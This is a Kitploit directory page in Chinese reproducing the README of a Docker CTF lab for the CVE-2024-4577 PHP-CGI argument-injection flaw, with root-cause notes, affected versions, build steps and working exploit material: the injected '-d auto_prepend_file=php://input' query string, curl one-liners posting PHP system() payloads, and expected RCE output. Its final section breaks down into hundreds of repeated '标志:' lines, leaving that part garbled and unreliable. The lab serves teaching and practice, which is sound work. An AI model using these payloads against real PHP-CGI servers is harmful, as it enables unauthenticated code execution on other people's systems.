Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-4577-lab — 基于 Docker 的 CTF 实验环境,演示 CVE-2024-4577 PHP-CGI 参数注入漏洞,可导致远程代码执行(RCE)。包含存在漏洞的 PHP 5.4.1 CGI、漏洞利用脚本及 flag 获取流程。 | Kitploit
工具/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

基于 Docker 的 CTF 实验环境,演示 CVE-2024-4577 PHP-CGI 参数注入漏洞,可导致远程代码执行(RCE)。包含存在漏洞的 PHP 5.4.1 CGI、漏洞利用脚本及 flag 获取流程。

查看仓库
821天前尚未审核
分享

CVE-2024-4577 — PHP-CGI 参数注入 → RCE(Docker 实验环境 / CTF)

一个自包含、从零构建的 Docker 实验环境,演示了 CVE-2024-4577 背后的真实 参数注入 → 远程代码执行原语。 通过 http://localhost:8080 利用它,获取 shell,并从容器内部读取 flag。

这是一个真实的漏洞,而非模拟漏洞。 该容器会编译一个未打补丁的 PHP 5.4.1 CGI 二进制文件,并以真实易受攻击主机的配置方式将其接入 Apache。其中没有任何虚假的 “if password == flag” 检查——获取 flag 的唯一途径是真正实现代码执行。


⚠️ 请先阅读此部分 — Linux 与 Windows 的差异(重要且如实说明)

CVE-2024-4577 的标志性载荷使用 %AD(软连字符)。该技巧 仅在 Windows 上有效,因为 Windows 的 “最佳匹配”字符编码 会在 PHP 的 CVE-2012-1823 补丁已经检查完查询字符串之后,将字节 0xAD 转换为真正的 -(0x2D)。该编码转换由 Windows 自身完成——它不会发生在普通的 Linux Docker 容器中。

因此,一个忠实还原、可在你的机器上运行的 Linux 实验环境,复现的是完全相同的 RCE 原语——通过 URL 进行 php-cgi 选项注入 → -d auto_prepend_file=php://input → 代码执行——使用的是字面量 - 形式(即 CVE-2024-4577 的父级漏洞 CVE-2012-1823)。与真实 Windows CVE-2024-4577 目标的唯一 区别在于 %AD→- 的编码绕过层,本 README 对此进行了完整说明(参见 工作原理 和 poc.http)。

如果你特别需要逐位复现 Windows 的 %AD 利用方式,你需要一个支持 Windows 容器的 Docker 主机(Windows Server / Win 专业版 + Hyper-V)——它 无法在 Windows 11 家庭版上运行。Windows 载荷已包含在 poc.http 中供参考。


1. CVE 描述

CVE-2024-4577 — PHP CGI 参数注入导致远程代码执行。 由 DEVCORE(Orange Tsai / Angelboy) 发现, 于 2024-06-06 披露。

当 PHP 以 CGI 模式部署(或 php-cgi.exe 二进制文件以其他方式可访问)在 Windows 上,且系统区域设置为特定语言(繁体/简体中文、日语等)时,Web 服务器会将 HTTP 查询字符串传递给 php-cgi 作为命令行参数。攻击者可以将 php-cgi 命令行选项(-d ...)混入该查询字符串。Windows 的 最佳匹配 代码页转换会将软连字符字节 0xAD(%AD)转换为 ASCII 连字符 -,从而绕过 CVE-2012-1823 的加固措施,使攻击者能够 设置任意的 PHP INI 指令——最有用的是 auto_prepend_file=php://input 配合 allow_url_include=1,这会将攻击者提供的请求体作为 PHP 代码执行。结果:未认证的远程代码执行。 该漏洞在数天内就被野外武器化利用(例如 TellYouThePass 勒索软件)。

2. 根本原因

  1. CGI 将查询字符串作为 argv 传递。 根据 RFC 3875,如果 CGI 请求的 查询字符串中没有未编码的 =,服务器会按 + 拆分, 对每个词进行 URL 解码,并将这些词作为命令行参数传递给 CGI 程序。因此 php-cgi 会接收到攻击者控制的 argv。

  2. php-cgi 将这些 argv 解析为选项。 历史上 php-cgi 会 从该 argv 中解释 -d key=value、-T 等选项。传入 -d allow_url_include=1 -d auto_prepend_file=php://input 会使 PHP 将请求体作为代码执行 → CVE-2012-1823。

  3. CVE-2012-1823 的修复在 Windows 上不完整。 2012 年的补丁在 sapi/cgi/cgi_main.c 中添加了一个防护:大致为*“如果(原始)查询字符串以 - 开头且不含 =,则跳过选项解析(skip_getopt)。”* 攻击者 发送字面量 现在会被阻止。

在本 Linux 实验环境中,步骤 1–2 使用一个早于步骤 3 补丁的 php-cgi 被精确复现,因此字面量 - 形式有效,并演示了 相同的 RCE。步骤 4 是仅限 Windows 的层面,已记录但未执行 (Linux 没有最佳匹配转换)。

3. 受影响版本(真实 CVE-2024-4577)

已在 8.3.8、8.2.20、8.1.29 中修复。因此以下版本易受攻击:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x、7.x、5.x — 已停止维护,未打补丁,同样受影响

条件: Windows 操作系统;PHP 以 CGI 模式运行或 php-cgi.exe 暴露在外 (默认的 Windows 版 XAMPP 配置即易受攻击);最佳匹配路径需要受影响的语言区域。(父级漏洞 CVE-2012-1823——本实验环境运行的 原语——影响任何在此配置下运行未打 2012 年补丁的 php-cgi 的操作系统。)

4. 项目结构```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. 前提条件

- **Docker Desktop**(Windows/macOS)或 Docker Engine(Linux)。
  Windows 11 家庭版:安装带有 **WSL 2** 后端的 Docker Desktop(默认)。
  → https://www.docker.com/products/docker-desktop/
- 用于利用的 `curl`(`curl.exe` 内置于 Windows 10/11;也包含在
  Git Bash / WSL / macOS / Linux 中)。
- **构建期间**需要互联网访问(下载 PHP 5.4.1 源码)。

## 6. 构建说明

在 `cve-2024-4577-lab/` 文件夹中打开终端。

### 选项 A — docker compose(推荐)```bash
docker compose up --build -d

选项 B — 纯 Docker

docker 构建命令:```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**docker run 命令:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

该构建会从源码编译 PHP(首次约需 2–5 分钟)。如果在你的机器上构建失败(离线、缺少工具链、museum.php.net 被屏蔽),请使用备用基础镜像:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. 如何验证服务```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
你应该能看到 **ACME 内部状态门户** 的 HTML 页面,关键在于:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi(即通过 php-cgi 提供服务)确认易受攻击的组件位于请求路径中。同时检查日志:```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. 利用步骤

注入的查询字符串(经过 URL 编码,因此 Apache 看不到**字面上的 `=`**,从而将其视为 CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi 解析为:``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
**请求体**会成为 PHP 源代码(通过 `php://input` 读取),并在 `index.php` *之前*运行。

### 8a. 最简单的方式——运行脚本```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. 手动操作 — 单行 curl 命令(Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> 在 **Windows PowerShell** 上,请显式使用 `curl.exe`(PowerShell 的 `curl`
> 是 `Invoke-WebRequest` 的别名,会破坏查询字符串):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. 手动 — 原始 HTTP(Burp Repeater)

参见 [`poc.http`](#poc-http)。将请求 #1 粘贴到 Burp Repeater 中并发送。

## 9. 预期输出```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

uid=33(www-data) 这一行证明了任意操作系统命令执行,执行身份为 Web 服务器用户——这是真正的代码执行,而非打印的字符串。

10. 如何获取 flag

flag 位于容器内的 /flag.txt——在 Web 根目录(/var/www/html)之外, 因此无法通过 HTTP 访问。读取它的唯一方式是通过 RCE 运行命令:```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:

标志:
